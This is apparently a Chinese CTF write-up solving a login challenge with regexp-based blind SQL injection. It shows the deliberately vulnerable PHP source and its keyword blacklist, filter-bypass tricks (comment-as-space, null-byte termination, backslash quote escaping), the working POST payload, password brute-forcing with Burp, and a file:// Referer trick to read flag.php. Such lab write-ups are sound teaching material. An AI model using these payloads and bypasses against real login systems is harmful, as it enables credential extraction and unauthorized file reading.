SQL正則盲注

題目鏈接: 地址
在這裏插入圖片描述
隨便輸入用戶名和密碼後登錄,跳到check.php頁面
在這裏插入圖片描述
下面是題目源碼

<?php 
include "config.php";
error_reporting(0);
highlight_file(__FILE__); 

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";    // /i 表示不區分大小寫(如果表達式裏面有 a, 那麼 A 也是匹配對象)
if(preg_match($check_list, $_POST['username'])){
    die('<h1>Hacking first,then login!Username is very special.</h1>'); 
}
if(preg_match($check_list, $_POST['passwd'])){
    die('<h1>Hacking first,then login!No easy password.</h1>');
}
$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'"; 
$result = mysql_query($query);
$result = mysql_fetch_array($result);   // 從結果集中取得一行作爲數字數組或關聯數組
$passwd = mysql_fetch_array(mysql_query("select passwd from user where user='admin'"));
if($result['user']){
    echo "<h1>Welcome to CTF Training!Please login as role of admin!</h1>"; 
}
if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
    $url = $_SERVER["HTTP_REFERER"];
    $parts = parse_url($url);   // 解析一個URL並返回一個關聯數組,包含在URL中出現的各種組成部分
    if(empty($parts['host']) || $parts['host'] != 'localhost'){
        die('<h1>The website only can come from localhost!You are not admin!</h1>');
    }
    else{
        readfile($url);
    }
}
?> 

我原本以爲這一道 sql 只是個青銅,沒想到它卻是個王者。

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

當我看到了,這一串過濾名單後,我就知道,這道題註定不凡!!

正則表達式注入介紹

說通俗點就是常用的篩選語句被過濾的時候使用 like 或 regexp 進行匹配。MySQL用WHERE子句對正則表達式提供了初步的支持,允許你指定用正則表達式過濾SELECT檢索出的數據。注意:MySQL僅支持多數正則表達式實現的一個很小的子集。regexp支持正則表達式匹配,REGEXP後所跟的東西作爲正則表達式處理。

//判斷 第一個表名 的 第一個字符 是否在a-z之間

?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

//REGEXP '^[a-z]'即是匹配正則表達式,^表示匹配字符串的開始,[a-z]即匹配字母a-z
//判斷第一個表名的第一個字符是n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*
//表達式如下:

expression like this: '^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

//這時說明表名爲news ,要驗證是否是該表名 正則表達式爲'^news$',但是沒這必要 直接判斷 table_name = 'news' 就行了
// 例如security數據庫的表有多個,users,email等

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);是正確的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);是正確的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);是正確的

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);不正確

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);不正確

實驗表明:在limit 0,1下,regexp會匹配所有的項。我們在使用regexp時,要注意有可能有多個項,同時要一個個字符去爆破。類似於上述第一條和第二條。而此時limit 0,1,是對於where table_schema='security' limit 0,1。table_schema='security'已經起到了限定作用了,limit有沒有已經不重要了。limit 作用在前面的 select 語句中,而不是 regexp

limit在這裏的作用在前面的 select 語句中,而不是 regexp:
在這裏插入圖片描述
查找以Le開頭的用戶名:
在這裏插入圖片描述
查找以ck結尾的用戶名:
在這裏插入圖片描述
回到題目中來,我們嘗試將按照該題目的sql邏輯構造如下語句:
在這裏插入圖片描述
在這裏插入圖片描述
發現是能夠進行真假判斷的,如果第一個字母猜對了,我們只需要接着判斷前兩位的開頭是否正確即可,然後以此類推,直到猜出全部字段的值:
在這裏插入圖片描述
在這裏插入圖片描述

題目中的sql語句是這樣的:

$query="select user from user where user='$_POST[username]' and passwd='$_POST[passwd]'";  
  • 由於過濾了空格,我們用/**/繞過
  • 由於過濾了# – ,我們用;%00繞過(雖然%00在過濾列表中,但由於瀏覽器在傳給php過程中會經過一次urldecode(),所以php接收到的並不是%00)
  • or 可以用 || 或者 ^ 進行繞過
  • 反斜槓 \ 沒被過濾,思路還是利用轉義單引號來構造閉合,然後再在password字段構造盲注語句進行注入。

現在就是如何構造盲注語句,常用的=、>、<、like等邏輯運算都被過濾掉了,這時候就需要用到REGEXP正則注入。在MySQL中除了可以使用LIKE …%進行模糊匹配,同樣也支持正則表達式的匹配,其使用REGEXP 操作符來進行正則表達式匹配。

構造payload如下

POST:
username=\&passwd=||passwd/**/REGEXP/**/"^d";%00

sql 語句中 || 符號是連接的意思,抄相當於字符串中的連接符。

即構造了:

select user from user where user='\' and passwd='||passwd/**/REGEXP/**/"^d";%00';  

這裏有個坑。。我們再回看一下 過濾列表

$check_list = "/into|load_file|0x|outfile|by|substr|base|echo|hex|mid|like|or|char|union|or|select|greatest|%00|_|\'|admin|limit|=_| |in|<|>|-|user|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i"; 

能看到%00 是過濾列表的,而我們payload的卻含有%00,那麼,爲什麼不會被過濾??
經過作者的一番測試發現,參數在傳到php的時候,會預先進行一次urldecode。

在這裏插入圖片描述
在這裏插入圖片描述
這就是%00在payload裏面,卻不會被過濾的祕密了!

那麼開始用burp爆破
在這裏插入圖片描述
添加好爆破位置,開始爆破。
在這裏插入圖片描述
第一位爆破成功,是d,
在以d和D開頭時都返回了真,是因爲使用regexp正則匹配時是不區分大小寫,通常來說只需要加上binary即可解決這個問題,如||binary/**/passwd/**/regexp/**/"^a";%00,但是這一題過濾了 in,所以目前我還沒有想到好的方法進行大小寫匹配。(Mysql默認查詢是不分大小寫的,可以在SQL語句中加入 binary來區分大小寫;)

開始爆破第二位
在這裏插入圖片描述
第二位爆破成功,爲0.
……
依次類推,爆破得到密碼爲:d0itr1ght
得到了密碼,那麼就開始登陸。由於過濾了admin,採用admi/**/n繞過
在這裏插入圖片描述
然後用Referer利用file://localhost/..僞造本地讀文件即可:

if(($passwd['passwd'])&&($passwd['passwd'] === $_POST['passwd'])){
    $url = $_SERVER["HTTP_REFERER"];
    $parts = parse_url($url);
    if(empty($parts['host']) || $parts['host'] != 'localhost'){
        die('<h1>The website only can come from localhost!You are not admin!</h1>');
    }
    else{
        readfile($url);
    }
} 

看到登陸成功後,可以進行讀文件,那麼flag一定在某個文件中,御劍掃一下。
在這裏插入圖片描述
掃到了flag.php

修改referer 爲:file://localhost/var/www/html/flag.php ,得到flag
在這裏插入圖片描述

參考:
https://blog.csdn.net/qq_42181428/article/details/105061424
https://blog.csdn.net/weixin_45940434/article/details/103722055

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章